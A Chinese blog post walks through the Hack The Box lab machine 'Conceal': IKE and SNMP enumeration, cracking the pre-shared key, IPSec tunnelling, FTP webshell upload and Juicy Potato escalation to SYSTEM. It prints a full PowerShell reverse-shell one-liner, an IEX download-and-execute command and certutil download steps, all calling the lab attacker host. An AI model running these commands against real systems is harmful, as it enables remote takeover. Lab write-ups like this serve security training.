本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
大余安全
大家好,这里是 大余安全 的第 16 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.hackthebox.eu/home/machines/profile/168
靶机难度:中级(5.0/10)
靶机发布日期:2019 年 5 月 8 日
靶机描述:
Conceal is a “hard” difficulty Windows which teaches enumeration of IKE protocol and configuring IPSec in transport mode. Once configured and working the firewall goes down and a shell can be uploaded via FTP and executed. On listing the hotfixes the box is found vulnerable to ALPC Task Scheduler LPE. Alternatively, SeImpersonatePrivilege granted to the user allows to obtain a SYSTEM shell.
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用 Kali Linux 作为解决该 HTB 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
可以看到靶机的 IP 是 10.10.10.116.....
nmap -p- -T4 --min-rate=1000 10.10.10.116
可以看到,靶机没开 TCP 上运行,没开放端口... 查看下 UDP 试试
nmap -sU -T5 -p1-1000 10.10.10.116
发现 UDP 端口 500 已打开,该端口在执行脚本扫描时似乎正在运行 IKE,IKE 就是密匙交互协议...
nmap -sC -sV -T5 -p500 -sU 10.10.10.116
前面也说了 IKE 代表 Internet 密钥交换,该密钥用于在 IPSec 协议中建立安全连接....
这里开始 IKE 的渗透...
需要下载 apt install ike-scan...
ike-scan -M 10.10.10.116
获得了一些信息,例如加密类型 3DES,SHA1 哈希算法和 IKE 版本为 v1 等,需要建立在 Auth=PSK 值上,现在需要获得 PSK...
snmpwalk -v2c -c public 10.10.10.116
这里利用 snmpwalk 进行枚举... 可以看到了 PSK 值...32 个字符.. 可能是 MD5 或者 NTLM 值...
9C8B1A372B1878851BE2C097031B6E43
解码成功:Dudecake1!
apt install -y strongswan
为了建立连接,使用 Strongswan,它可以用来配置 ipsec... 下载即可...
PSK 可以在 / etc/ipsec.secrets 中进行配置,直接导入即可...
接下来,打开 / etc/ipsec.conf 以配置链接参数即可...
写入了一个隐蔽的隧道 ipsec... 按照前面 ike 获得的信息进行补充即可...
这里按照思路执行 ipsec start --nofork,开启后通道却报错了... 谷歌找了会,应该是 ipsec.conf 少填写了 TCP,然后接口需要跟着 ipsec.conf 的 int 走...
添加 TCP 走向后,启动看看...
ipsec start --nofork
可以看到本地发出的数据包,靶机回复了数据包...nmap 扫描 tcp 端口打开了...
nmap -sT -F 10.10.10.116
开放了 FTP 和 HTTP 等服务...
爆破发现了 upload 目录,果然...
我记得我做过一次类似的,存在此类的漏洞,FTP 和 web 的 upload 是共享的漏洞...
这里 gobuster 爆破也发现了存在 upload...
测试了下,可以看到存在漏洞...
开始找 webshell...
git clone https://github.com/tennc/webshell
这是一个强大的 webshell 库,里面各种各样的 shell 都有(路过的赶紧收藏吧)
NO.60 我也介绍过类似的方法了..
利用 FTP 上传成功...
二、提权
到这一步就简单了,直接利用命令上传 nc 即可获得反弹 shell...
这里有点坑,每过 2 分钟就会自动清除掉 upload 里头的文件...
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.18',5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
直接输入命令即可... 开启 nc...
或者利用 Invoke-PowerShellTcp.ps1 上传提权即可...
可以看到成功拿到低权 shell...
成功获得第一个 users 的 flag...
继续收集信息,这是一个 windows10 的系统... 而且是刚安装的,没打补丁的...
whoami /all
可以发现拥有 SeImpersonatePrivilege 存在 RottenPotato 漏洞... 这里直接用 juicy-potato 即可...(juicy-potato 就是在 windows 拥有 SeImpersonatePrivilege 后做出的提权工具)
由于是 windows,我直接下载 EXE 即可...
利用 FTP 或者 certutil -urlcache -split -f 上传即可... 这里有点坑,FTP 上传的东西一会就消失了...
成功上传....
juicy-potato 就是利用 RottenPotato 漏洞修改 CLSID 值然后执行 BAT 程序提权....
执行发现了此台靶机的 CLSID 值后...
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.18 -Port 8888
powershell "IEX (New-Object Net.WebClient).downloadString('http://10.10.14.18:8000/dayu.ps1')"
上传了 BAT,自己写的简单的上传 webshell 提权...
.\dayu.exe -t * -p C:\users\Destitute\music\dayu.bat -l 4445
我这里先测试 4445 端口,发现是错误的 CLSID 值...10038
这里需要找到可利用的 CLSID 值,可参考 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md 或者 http://ohpe.it/juicy-potato/CLSID / 都可以找到...
可以看到,此 CLSID 是无权限的...
只需要随意利用一个 CLSID 即可提权... 我随意用了一个...
.\dayu.exe -t * -p C:\users\Destitute\music\dayu.bat -l 8889 -c '{8BC3F05E-D86B-11D0-A075-00C04FB68820}'
开启 NC,利用 dayu.ps1 的 shell 成功提权....
成功查看到第二个 flag...
这台靶机可以看到,对方是通过 IKE 加密传输封装了 TCP 协议,以 UDP 协议进行展示...
学到了挺多的... 加油!!
由于我们已经成功得到 root 权限查看 user.txt 和 root.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
大余安全
一个全栈渗透小技巧的公众号